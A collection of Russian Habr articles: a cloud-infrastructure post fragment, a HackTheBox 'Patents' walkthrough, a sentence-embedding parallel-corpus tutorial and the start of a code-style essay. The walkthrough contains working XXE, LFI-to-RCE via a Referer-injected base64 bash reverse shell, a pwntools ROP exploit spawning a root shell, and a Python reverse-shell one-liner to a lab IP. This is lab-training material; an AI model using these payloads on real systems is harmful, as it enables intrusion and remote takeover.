При подключении третьей зоны доступности нам пришлось лишь добавить несколько правил и шаблонов для новых ресурсов, которых раньше не было. Это позволило нам полноценно заниматься инфраструктурой, не тратя время на настройку мониторинга. И дальше при развёртывании третьей AZ благодаря автоматическому обнаружению у нас не возникало ситуации, что какой-то сервер или сервис случайно оказался вне контроля, забыт или потерян.
### Виртуалки для облачного провайдера
Технологически эта AZ не была скована никаким тяжёлым наследием. Мы кайфовали от того, что можно просто брать и устанавливать новые системы с новыми ~~багами~~ фичами, а не ковыряться в пережитках прошлого.
Но главное, благодаря Ethernet мы смогли вынести сервисы, которым по долгу службы не нужно работать на железе, в виртуальные машины: Control Plane облака стали деплоить в виртуалках на выделенных сервисных узлах, а сеть прокидывали при помощи SR-IOV, что позволило "пробрасывать" внутрь ВМ быструю сеть, не ограниченную производительностью стандартных tun+virtio сетевых интерфейсов ВМ. Виртуальные машины стали использовать даже там, где нам раньше из-за требований к производительности сети приходилось применять только железо.
Десятки физических серверов, на которых раньше жили эти сервисы, в итоге на новой площадке трансформировались в 9 мощных серверов, где были все служебные сервисы. Это позволило сократить количество занимаемых юнитов, сам парк серверов, количество портов в коммутаторах и т.д. При этом повысилась гибкость — мы можем запросто переносить виртуалки между хостами, легко наращивать их ресурсы и максимально быстро создавать любые ВМ по запросу.
Такой вот занятный разворот сюжета... Облачный провайдер, который уже десять лет продает ВМки, перешёл на инфраструктуру с виртуалками внутри облака :)
### Что дальше?
К тому моменту, когда инфраструктурная часть была готова, всё больше заказчиков стали спрашивать, как скоро у нас в облаке появится третья зона доступности, и были готовы её использовать. Наше представление о том, как правильно, совпало с реальными потребностями рынка, и мы не могли не откликнуться на этот запрос пользователей. О том, как мы внедряли Compute в третьей зоне доступности, в следующем материале.
|
https://habr.com/ru/post/652329/
| null |
ru
| null |
# HackTheBox. Прохождение Patents. XXE через файлы DOCX, LFI to RCE, GIT и ROP-chain
Продолжаю публикацию решений отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu).
В данной статье эксплуатируем XXE в сервисе преобразования DOCX документов в PDF, получаем RCE через LFI, копаемся в истории GIT и восстанавливаем файлы, составляем ROP цепочки с помощью pwntools и находим спрятанный файл рута.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
**Организационная информация**
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
-----
Данная машина имеет IP адрес 10.10.10.173, который я добавляю в /etc/hosts.
```
10.10.10.173 patents.htb
```
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
```
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500
```
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
```
nmap -A patents.htb -p22,80,8888
```
На хосте работают службы SSH и веб сервер Apache, при этом порт 8888 отведен для непонятной службы. Посмотрим веб.
На сайте имеется форма загрузки DOCX документов.
XXE DOCX
--------
По утверждению, наш документ будет преобразован в PDF формат. Это наталкивает на мысль о XXE. Я взял пример [отсюда](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#xxe-oob-with-dtd-and-php-filter).
Таким образом, в данном примере хост попытается загрузить xml документ с удаленного сервера. Загрузив этот документ, он прочитает локальный файл указанный в загруженном xml документе, закодирует его в base64 и обратится еще раз на наш сервер, передав закодированный файл в качестве параметра запроса. То есть, декодировав этот параметр мы получим файл с удаленной машины.
Но данную нагрузку следует размещать не по пути word/document.xml. Так как для работы с таким типом документов используется SDK OpenXML, то, как следует [отсюда](https://docs.microsoft.com/ru-ru/visualstudio/vsto/walkthrough-binding-content-controls-to-custom-xml-parts?view=vs-2019) и [отсюда](https://docs.microsoft.com/ru-ru/office/open-xml/how-to-add-a-new-document-part-to-a-package), программное обеспечение на стороне сервера будет искать данные в word/document.xml, а в customXML/item1.xml. Поэтому нагрузку стоит размещать именно там.
Давайте создадим docx документ и разархивируем его как zip архив. После чего создадим директорию customXML и создадим в ней файл item1.xml. В него мы запишем код с изображения выше, изменив IP адрес на свой. И архивируем документ обратно.
Теперь запустим локальный веб сервер.
```
python3 -m http.server 80
```
И в текущей директории создаем второй xml файл, указав в качестве желаемого файла /etc/passwd.
И загружаем документ на сервер. В окне с запущенным веб сервером увидим обратное подключение.
Декодируем base64 и получаем файл, который запросили.
Таким образом мы можем читать файлы на сервере. Давайте прочитаем файлы конфигурации Apache. Для этого изменить dtd.xml и повторим загрузку документа.
Так мы узнаем директорию, в которой расположен сайт. Давайте попытаем прочитать файл конфигурации.
И в комментарии сказано, что файл был переименован из-за уязвимости. Мы конечно обратимся к нему [patents.htb/getPatent\_alphav1.0.php](http://patents.htb/getPatent_alphav1.0.php).
Обратившись к данной страницы и передав в качестве параметра id путь ../../../../../etc/passwd, из нашей строки будут удалены все вхождения “../”. Давайте каждую строку “../” заменим на “..././”, так при удалении последовательности, все равно останется “../”.
И мы находим LFI.
Entry Point
-----------
Давайте попробуем получить из этого RCE. Скажу честно — это было сложно. Дело в том, что отправляя подобный документ, мы не получали предложение загрузить PDF. То есть был задействован дескриптор 2 (для вывода диагностических и отладочных сообщений в текстовом виде). А к нему мы можем обратиться. Давайте закодируем реверс шелл в base64:
```
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
```
```
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn
```
Мы будем декодировать его и передавать в функцию system в php. Давайте передадим код в качестве заголовка HTTP при загрузке файла.
```
curl http://patents.htb/convert.php -F "[email protected]" -F 'submit=Generate PDF' --referer 'http://test.com/php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?'
```
Запустим netcat.
```
nc -lvp 4321
```
И теперь обратимся ко второму дескриптору.
```
curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2
```
Получаем бэкконнект.
ROOT 1
------
Загрузим скрипт перечисления системы [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) и внимательно проанализируем вывод. Так мы работаем в докер контейнере.
Еще находим хеши. Но взломав, ни к чему не приходим.
Поэтому запускаем [pspy64](https://github.com/DominicBreuker/pspy) чтобы отследить запускаемые процессы. И находим запуск процесса от имени root, при котором пароль передается как переменная окружения.
И локально сменим пользователя, указав данный пароль.
ROOT 2
------
Давайте посмотрим, что делает данный скрипт.
Получаем наводку на какой-то lfmserver, а также сохраняем логин и пароль. Поищем в системе все, что связано с lfm.
И находим в данной директории git репозиторий.
Давайте поработаем с данным репозиторием.
Посмотрим историю изменений.
Посмотрим историю изменений. Так видим что в предпоследнем коммите были добавлены исполняемый файл и описание, а в последнем — они уже удалены. Давайте откатимся до удаления файлов.
```
git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5
```
И у нас в директории появились исполняемый файл и описание.
Тут я уже хотел приступить к реверсу файла, но — у нас есть git проекта! Я нашел коммит, где упоминались исходные коды.
И давайте восстановим файлы.
```
git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123
```
После чего скачиваем интересующие исходные коды, саму программу и библиотеки на локальную машину.
ROP
---
Нам нужно попытаться найти и эксплуатировать уязвимость в программе, в помощь есть исходные коды. Проверим защиту в бинарном файле.
То есть канарейка и PIE отсутствуют, но стек не исполняемый. Откроем бинарный файл в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro 7.2 ) и сопоставим декомпилированный код с исходными кодами из репозитория.
Для подключения к серверу и используем данные из файла checker.py, а также учетные данные.
Давайте напишем шаблон эксплоита.
```
#!/usr/bin/python3
from pwn import *
context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"
```
Давайте теперь определимся с запросом. Запустим приложение.
Необходимо отправлять путь к файлу и хеш его содержимого. Для примера я взял /etc/hosts.
Добавим к шаблону следующий код.
```
INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)
r = remote(HOST, PORT)
r.sendline(send_.encode())
r.interactive()
```
Теперь выполним и получим ошибку 404.
Посмотрим log файл.
Понятно где приложение ищет файл, давайте поиграем с путями, и укажем такой file.
```
file = "../../../../../etc/hosts"
```
Выполним код и не увидим никаких ошибок.
Но в случае urlencode, получаем ответ с кодом 200 от сервера!
```
file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"
```
Отлично, давайте вернем к дизассемблеру. Найдем среди строк (Shift+F12) удачный ответ сервера. И посмотрим, где к ней происходит обращение (X).
И переходим к первой функции, где в самом начале происходит проверка учетных данных.
Давайте переимеенуем строки-переменные в окне дизассемблера, чтобы в декомпиляторе было понятнее.
И разбирая код в строках 18-24, пониманием следующее: часть пользовательского ввода попадает в функцию sub\_402DB9, где происходит преобразование строки в переменную name, которая потом попадает в функцию access, и в случае отрицательного результат, происходит вывод сообщения 404. Таким образом, в переменной name будет расположен путь к файлу. Так как запрос обрабатывался даже в кодировке urlencode, то данная функция скорее всего нужна для декодирования.
Но дело в том, что переменная name, куда происходит перенос данный, ограниченного размера.
Таким образом, для переполнения буфера нам необходимо передать 0xA0=160 байт. Давайте допишем в код функцию дополнения до 160 байт и кодирования пути к файлу. Так как от содержимого файла вычисляется хеш, то необходимо не нарушать целостность пути к файлу, то есть после основного пути добавить 0x00 байт.
Но дело в том, что нам нужно знать хеш от какого-либо файла на сервере, который будет доступен всегда и никогда не изменится. К примеру /proc/sys/kernel/randomize\_va\_space, а как мы помним из вывода linPEAS, ASLR активирован, то есть мы знаем хеш.
Тогда изменим код.
```
#!/usr/bin/python3
from pwn import *
def append_and_encode(file, rop=b""):
ret = b""
path = (file + b"\x00").ljust(160, b"A") + rop
for i in path:
ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
return ret
context(os="linux", arch="amd64", log_level="error")
HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()
```
Это успешно работает!
Теперь давайте используем утечку памяти и определим адрес, по которому загружена библиотека libc. Для этого мы получим адрес функции write в загруженной библиотеке libc.
```
binary = ELF("./lfmserver")
libc = ELF("./libc6.so")
rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
```
Теперь выделим адрес функции dup2 (первые 8 байт). Вычтем из него адрес функции dup2 в не загруженной библиотеке. Так мы найдем базовый адрес libc.
```
print(f"[*] Payload sent")
recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")
```
Теперь найдем адрес строки /bin/sh.
```
shell_address = next(libc.search(b"/bin/sh\x00"))
```
Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (возьмем 6). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.
```
rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
context.log_level='info'
r.recv()
r.sendline(b"id")
```
Отлично! Получаем шелл от рута. Но вот он быстро умирает. Запустим листенер (nc -lvp 8765) и кинем бэкконнект шелл.
```
r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')
```
И мы имеем стабильный шелл. Полный код привожу картинкой ниже.
Но вот прочитать флаг рута не можем…
ROOT 3
------
Запустив linpeas и просмотрев вывод, находим интересные разделы, особенно /dev/sda2.
Давайте получим информацию о всех блочных устройствах.
Таким образом мы имеем корневой раздел /dev/sda2. Создадим директорию и монтируем раздел.
Вот и находим флаг рута.
Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
|
https://habr.com/ru/post/502268/
| null |
ru
| null |
# Делаем параллельный корпус из книг с помощью sentence embeddings
При поиске параллельных корпусов для своих нужд, — это может быть обучение модели машинного перевода или изучение иностранного языка, можно столкнуться с тем, что их не так уж и много, особенно, если речь идет не об английском, а каком-то редком языке. В этой статье мы попробуем создать свой корпус для популярной языковой пары *русский-немецкий* на основе романа Ремарка "Три товарища". Любителям параллельного чтения книг и разработчикам систем машинного перевода посвящается.
Задача
------
Такая задача называется выравниванием текстов и может быть до какой-то степени решена следующими способами:
* Использовать эвристики. Можно считать количество предложений в текстах, количество слов в них и на основе этого производить сопоставление. Такой способ не дает хорошего качества, но может тоже быть полезным.
* Использовать sentence embeddings. Наверняка вы слышали про модели типа [word2vec](https://en.wikipedia.org/wiki/Word2vec) или sent2vec или видели такой пример их использования — *"король"* + *"женщина"* — *"мужчина"* = *"королева"*. Если коротко, то суть в том, чтобы перевести слова (предложения, тексты) в векторное пространство с сохранением семантического расстояния между ними. Такой подход открывает перед нами замечательные возможности по оценке близости текстов и их кусочков **по смыслу**.
Модели
------
В качестве моделей, из которых мы будем брать эмбеддинги, возьмем Universal Sentence Encoder, Sentence Transformers и недавно вышедший LaBSE (Language Agnostic BERT Sentence Embeddings).
Как бы не была хороша модель, одна она не справится, потому что при переводе текста с одного языка на другой переводчик частенько может объединять два предложение в одно, а одно сложное предложение разбивать на несколько простых. Особенно это характерно при переводе с русского на китайский. Для таких случаев можно придумать эвристики, наподобие такой — если длинна предложений отличается больше чем в два раза, то либо разбиваем одно из них по знаку препинания, либо склеиваем короткое со следующим или предыдущим. Потом оставляем наиболее близкие пары.
Модели, которые мы будем использовать, являются не только мультиязыковыми, но и выровненными, это означает, что, если им на вход подавать предложения на разных языках, то вектора все равно будут сохранять между собой семантическое расстояние, — вектор для "I love cats" будет близок вектору "Я люблю кошек". Разумеется, модель должна поддерживать необходимые нам языки, список таких приведен в таблице 1. Самый быстрый инференс у *USE*, если вам нужны более-менее редкие языки, то используйте *xlm-r-100langs-bert-base* или *LaBSE*.
### Таблица 1. Multilingual sentence embedding models
| Модель | Поддерживаемые языки | Размер весов | Длина embedding'а |
| --- | --- | --- | --- |
| [sentence transformers/distiluse-base-multilingual-cased](https://www.sbert.net/docs/pretrained_models.html) | 13 языков (английский, арабский, испанский, итальянский, китайский, корейский, немецкий, нидерландский, польский, португальский, русский, турецкий и французский) | 500Mb | 512 |
| [Universal Sentence Encoder](https://tfhub.dev/google/universal-sentence-encoder-multilingual-large/3) | 15 языков (те же плюс тайский и японский) | 250Mb (300Mb large version) | 512 |
| [sentence transfomers/xlm-r-100langs-bert-base](https://www.sbert.net/docs/pretrained_models.html) | 100 языков\*, [полный список](https://www.sbert.net/docs/pretrained_models.html#multi-lingual-models) | 1Gb | 768 |
| [LaBSE](https://tfhub.dev/google/LaBSE/1) | 109 языков, [полный список](https://arxiv.org/pdf/2007.01852.pdf) | 1.63Gb | 768 |
\*В документации sentence transformers [отмечается](https://www.sbert.net/docs/pretrained_models.html#multi-lingual-models), что модели также дают неплохой результат для языков вне поддерживаемого списка.
Выравниватель
-------------
Чтобы любой мог сразу же поиграться с моделями и что-то сделать самостоятельно, эксперименты будем проводить в Colab'е, общедоступном jupyter блокноте. Все ссылки будут в конце статьи.
Нам понадобятся библиотеки для разбиения текстов на предложения и загрузки предобученных моделей. Установим их в нашу среду приступим к выравниванию.
```
!pip3 install razdel
!pip3 install sentence-transformers
```
```
import re
import seaborn as sns
import numpy as np
from scipy import spatial
from matplotlib import pyplot as plt
import razdel
from sentence_transformers import SentenceTransformer
```
Предобработка
-------------
Итак, возьмем первую главу замечательного романа "Три товарища" в оригинале (1936 год) и в переводе И. Шрайбера и
Л. Яковленко (1959 год). Первым шагом будет разбить текст на предложения и посмотреть насколько сильно они отличаются по количеству. Так это просто сырые тексты из интернета, предварительно немного почистим текст. По предложениям текст разобъем razdel'ом (бывшая библиотека natasha), для немецкого языка такой способ тоже подойдет, если мы позаботимся о кавычках (в немецком языке они обратные — »«).
```
double_dash = re.compile(r'[--]+')
quotes_de = re.compile(r'[»«]+')
ru = re.sub('\n', ' ', text_ru)
ru = re.sub(double_dash, '—', ru)
de = re.sub('\n', ' ', text_de)
de = re.sub(quotes_de, ' ', de)
sent_ru = list(x.text for x in razdel.sentenize(ru))
sent_de = list(x.text for x in razdel.sentenize(de))
```
Предложения на русском:
```
['Небо было желтым, как латунь; его еще не закоптило дымом.',
'За крышами фабрики оно светилось особенно сильно.',
'Вот—вот должно было взойти солнце.',
'Я посмотрел на часы — еще не было восьми.',
'Я пришел на четверть часа раньше обычного.',
'Я открыл ворота и подготовил насос бензиновой колонки.',
'Всегда в это время уже подъезжали заправляться первые машины.',
'Вдруг за своей спиной я услышал хриплое кряхтение, — казалось, будто под землей проворачивают ржавый винт.',
'Я остановился и прислушался.',
'Потом пошел через двор обратно в мастерскую и осторожно приоткрыл дверь.']
```
И на немецком:
```
['Der Himmel war gelb wie Messing und noch nicht verqualmt vom Rauch der Schornsteine.',
'Hinter den Dächern der Fabrik leuchtete er sehr stark.',
'Die Sonne mußte gleich aufgehen.',
'Ich sah nach der Uhr.',
'Es war noch vor acht.',
'Eine Viertelstunde zu früh.',
'Ich schloß das Tor auf und machte die Benzinpumpe fertig.',
'Um diese Zeit kamen immer schon ein paar Wagen vorbei, die tanken wollten.',
'Plötzlich hörte ich hinter mir ein heiseres Krächzen, das klang, als ob unter der Erde ein rostiges Gewinde hochgedreht würde.',
'Ich blieb stehen und lauschte.']
```
По количеству их получилось 570 на русском против 561-го на немецком. Так как количество предложений различается не сильно, то скорее всего получится выровнять тексты с хорошим качеством.
Батчинг
-------
Чтобы не грузить в модель сразу все вектора будем считать их батчами, при этом введем специальный коэффициент, который будет учитывать разницу в колчестве выравниваемых предложений для различных языков. Это необходимо, когда разница в количестве бдует более существенная.
```
def get_batch(iter1, iter2, batch_size):
l1 = len(iter1)
l2 = len(iter2)
k = int(round(batch_size * l2/l1))
kdx = 0 - k
for ndx in range(0, l1, batch_size):
kdx += k
yield iter1[ndx:min(ndx + n, l1)], iter2[kdx:min(kdx + k, l2)]
```
Эмбеддинги
----------
В качестве модели возьмем sentence-transformers (distiluse-base-multilingual-cased), так как она поддерживает немецкий и русский языки, относительно немного весит (~500 Mb), и дает очень хорошие вектора.
```
model_st = SentenceTransformer('distiluse-base-multilingual-cased')
```
```
vectors1, vectors2 = [], []
for lines_ru_batch, lines_de_batch in get_batch(sent_ru, sent_de, batch_size):
batch_number += 1
vectors1 = [*vectors1, *model_st.encode(lines_de_batch)]
vectors2 = [*vectors2, *model_st.encode(lines_ru_batch)]
```
Полученные эмбеддинги представляют собой вектора размерностью 512.
```
[array([-0.03442561, 0.02094117, ... , 0.11265451])], dtype=float32)]
```
Близость
--------
Посчитаем матрицу состоящую из косинусных близостей между парами векторов. Обсчитывать будем не все пары, а только те, которые находятся в окне — какое-то количество предложений вперед и назад от "оси выравнивания". Под осью понимается главная диагональ нашей матрицы.
```
def get_sim_matrix(vec1, vec2, window=10):
sim_matrix=np.zeros((len(vec1), len(vec2)))
k = len(vec1)/len(vec2)
for i in range(len(vec1)):
for j in range(len(vec2)):
if (j*k > i-window) & (j*k < i+window):
sim = 1 - spatial.distance.cosine(vec1[i], vec2[j])
sim_matrix[i,j] = sim
return sim_matrix
```
```
sim_matrix = get_sim_matrix(vectors1, vectors2, window)
```
Визуализация
------------
Посмотрим сначала на матрицу близостей для первых 50 строк. Красиво будет выглядеть heatmap, построеная через seaborn.
```
plt.figure(figsize=(12,10))
sns.heatmap(sim_matrix, cmap="Greens", vmin=threshold)
plt.xlabel("russian", fontsize=18)
plt.ylabel("chinese", fontsize=18)
plt.show()
```
Для каждой строки будем брать наиболее близкий вариант. После это наша матрица будем выглядеть следующим образом.
А вот так для всего текста.
Проблемы
--------
Видим, что в некоторых местах модель не смогла сопоставить предложения, основные причины я вижу такие:
* **Литературный стиль**. Так как выравниваемые тексты являются художественной литературой, то не удивительно, что есть пропуски, — как мы помним, модель обучалась на Википедии, common crawling'е и новостях, а не на литературных корпусах.
* **Авторский стиль**. В текстах могут встречаться придуманные автором или устаревшие слова, также часто могут встречаться жаргонизмы и разговорная лексика (например, уборщица фрау Штосс в начале романа, икая, все время повторяет nich вмесо nicht).
* **Стиль переводчика**. При переводе может не сохраняться синтаксическая структура, — одно предложение может быть переведено как два и наоборот. Это нормальная картина.
* **Имена собственные**. Если имена Роберт, Готфрид, Отто и Патриция ещё куда ни шли, то фамилии Локамп, Ленц, Кёстер и Хольман модели сопоставить трудно. Все они "разбавляют" близость между векторами. Сюда же можно отнести любые редкие имена, названия организаций и географических объектов.
* **Особенности языка**. У каждого языка есть свои "фишки". Немецкий язык известен своими склеивающимися словами и перескакивающими в конец приставками, зато порядок слов более-менее строгий. Русский очень богат морфологией, падежами (венгерский язык нервно засмеялся) и почти свободным порядком слов. В китайском нет пробелов и т.д.
Результат
---------
Решать все эти проблемы можно по разному, можно взять наиболее удачные сопоставления, в них будет и авторский стиль и имена, и дообучить нашу модель на этих данных. Можно применить простые и хитрые эвристики, — если два предложения уверенно сошлись, то и то, что между ними, должно соответствовать, даже если модель не очень уверена. Пока же посмотрим, что у нас получилось.
```
Небо было желтым, как латунь; его еще не закоптило дымом.
Der Himmel war gelb wie Messing und noch nicht verqualmt vom Rauch der Schornsteine.
>> similarity 0.8614717125892639
За крышами фабрики оно светилось особенно сильно.
Hinter den Dächern der Fabrik leuchtete er sehr stark.
>> similarity 0.6654264330863953
Вот—вот должно было взойти солнце.
Die Sonne mußte gleich aufgehen.
>> similarity 0.7304455041885376
Я посмотрел на часы — еще не было восьми.
Ich sah nach der Uhr.
>> similarity 0.5894380807876587
Я посмотрел на часы — еще не было восьми.
Es war noch vor acht.
>> similarity 0.5892142057418823
Я пришел на четверть часа раньше обычного.
Eine Viertelstunde zu früh.
>> similarity 0.6182181239128113
Я открыл ворота и подготовил насос бензиновой колонки.
Ich schloß das Tor auf und machte die Benzinpumpe fertig.
>> similarity 0.7467120289802551
Всегда в это время уже подъезжали заправляться первые машины.
Um diese Zeit kamen immer schon ein paar Wagen vorbei, die tanken wollten.
>> similarity 0.5018423199653625
Вдруг за своей спиной я услышал хриплое кряхтение, — казалось, будто под землей проворачивают ржавый винт.
Plötzlich hörte ich hinter mir ein heiseres Krächzen, das klang, als ob unter der Erde ein rostiges Gewinde hochgedreht würde.
>> similarity 0.6064425110816956
Я остановился и прислушался.
Ich blieb stehen und lauschte.
>> similarity 0.7030230760574341
Потом пошел через двор обратно в мастерскую и осторожно приоткрыл дверь.
Dann ging ich über den Hof zurück zur Werkstatt und machte vorsichtig die Tür auf.
>> similarity 0.7700499296188354
В полутемном помещении, спотыкаясь, бродило привидение.
In dem halbdunklen Raum taumelte ein Gespenst umher.
>> similarity 0.7868185639381409
```
Дальше
------
Мы получили неплохой результат, в следующий раз мы попытаемся его улучшить и попробуем выровнять текст с участием редкого языка, которого на текущий момент нет в данных моделях. *Якутский? Чувашский?* Предлагайте и до новых встреч!
[1] [Поиграйтесь в Google Colab](https://colab.research.google.com/drive/1hm-1H4xZWGSfdUGf3jPtNN9-iQgJdFfQ).
[2] [Sentence Transformers](https://www.sbert.net/docs/pretrained_models.html).
[3] [Universal Sentence Encoder](https://tfhub.dev/google/universal-sentence-encoder-multilingual-large/3).
[4] [Language Agnostic BERT Sentence Encoder](https://tfhub.dev/google/LaBSE/1).
|
https://habr.com/ru/post/517226/
| null |
ru
| null |
# Внедрение code style в существующий проект
Вероятно, в любой команде рано или поздно возникает вопрос создания и утверждения стандартов кодирования. На первый взгляд, задача вполне тривиальная. Но лишь в том случае, когда решается на раннем этапе развития проекта. Тогда разработчикам необходимо лишь выбрать и применить один из популярных стандартов, и чаще всего этот выбор за них делает фреймворк, который они используют.
В нашем случае всё не так просто. Проект, над которым мы работаем, начал свою жизнь ещё до того, как различным стандартам и описаниям лучших практик в среде разработки стали уделять большое внимание. В том числе, задолго до появления столь популярных ныне PSR стандартов для PHP. По этим причинам задача стандартизации кода не ставилась на более ранних этапах, а теперь – предстала нашей команде в качестве вызова.
В этой публикации мы расскажем о том, как пришли к пониманию необходимости единого code style, и выработали методы его постепенного внедрения в масштабный проект. Этот опыт может быть интересен тем, кто пока не использует стандартизацию, но уже ощущает в этом потребность.
Что мы имеем
------------
* База кода (PHP, MySQL, HTML, SCSS, JavaScript), формировавшаяся на протяжении 10 лет;
* Негласное понимание общего формата, к которому можно отнести:
— snake\_case для названий переменных и функций в бэкенде;
— базовые правила форматирования (отступы, пробелы, переносы);
— регламент написания sql запросов;
— наименования таблиц и колонок;
— венгерскую нотацию для переменных, содержащих вводные данные.
Это лишь несколько примеров тех нюансов, которых существует огромное множество в каждом проекте.
Чего у нас нет?
---------------
Официально принятого стиля, зафиксированного на бумаге и обязательного для исполнения. Возможно, именно поэтому негласный формат непостоянен и меняется с ходом времени – его «эволюцию» легко проследить с помощью системы контроля версий.
Осознание проблемы
------------------
В определённый момент мы стали замечать, что довольно часто обсуждаем код в контексте форматирования, и это занимает много времени. В то же время команда стала активно расширяться. Наши новые коллеги имели собственные привычки в написании кода и не были знакомы с теми практиками, которые устоялись в нашей команде. В результате их стиль написания кода входил в конфликт с нашими «негласными правилами», оказывая существенное влияние на продуктивность.
К примеру, совмещение разных стилей форматирования и использования конструкций языка в рамках одного блока кода приводило к значительному снижению его читабельности:
```
for ($i=0; $i<$num; $i++)
{
if (in_array($items[$i]['value'],$filtered))
continue;
array_push($valid, $items[$i]);
if(!$items[$i]['in_menu']) continue;
$in_menu[] = $items[$i];
}
```
Но если внутри команды всегда есть возможность оперативно обсудить и решить спорные вопросы, то при работе со сторонними разработчиками возникает гораздо больше сложностей. Мы привлекали сторонних специалистов к разработке клиентской части, и именно в фронтенд-коде появился наибольший разброс в стилях. Например, в наименовании классов в одном блоке HTML кода могли сочетаться разные нотации и даже разные имплементации БЭМа.
Но вот главная сложность, которая возникла при сотрудничестве со специалистами извне: как поддерживать код, написанный с использованием практик и подходов, которыми владеют не все разработчики проекта?
Несогласованный выбор методологии в вёрстке и последующее редактирование иногда приводили к подобному:
```
...
```
или
```
...
```
Если в первом случае прослеживается использование БЭМ, то во втором случае понять «что происходит» вообще невозможно. Кроме того, использование БЭМ в наименовании классов в HTML иногда вовсе не влекло за собой преимуществ в CSS. Класс из первого варианта, содержащий в себе описание вложенности элемента, всё равно описывался с помощью вложенных стилей в CSS:
```
.i-article__item .i-article__item__item .i-article__item__item__content {
...
}
```
Как же такое могло получиться? Пример из опыта: удалённый верстальщик выполнил свою работу частично, не успев завершить мобильную версию интерфейса. К работе подключился другой специалист, добавивший новый код в своём «уникальном» стиле. На следующем этапе, при портировании вёрстки на динамический движок, возникла необходимость что-то быстро скорректировать, и делалось это уже бэкенд- разработчиком, который, естественно, не углублялся в «тонкости» формата, используемого верстальщиками.
Стало очевидно, что одна из самых приоритетных задач для нас – избежать подобных расхождений в дальнейшем. Откладывание решения могло обернуться потерей производительности и увеличением сроков разработки. В команде окончательно сформировалось понимание необходимости утверждения единого формата кода.
Выработка решения
-----------------
Поскольку объём кода измеряется сотнями тысяч строк, найти и переработать все случаи нарушения стиля, даже с использованием автоматических инструментов, не представлялось возможным. Поэтому мы решили начать применять единый стиль для нового кода, в то же время обновляя небольшие фрагменты прежнего кода, связанные с выполняемой задачей.
Далее следовало определиться с самим форматом. Выяснилось, что у участников команды были существенные различия во взглядах на «правильный стиль»: одни предпочитали camelCase, другие настаивали на использовании snake\_case во всём, даже в клиентском JavaScript.
В данном случае большую роль играет уровень и бэкграунд разработчика. Как вы уже догадались, во втором случае речь идет о бэкенд-программисте с длительным стажем.
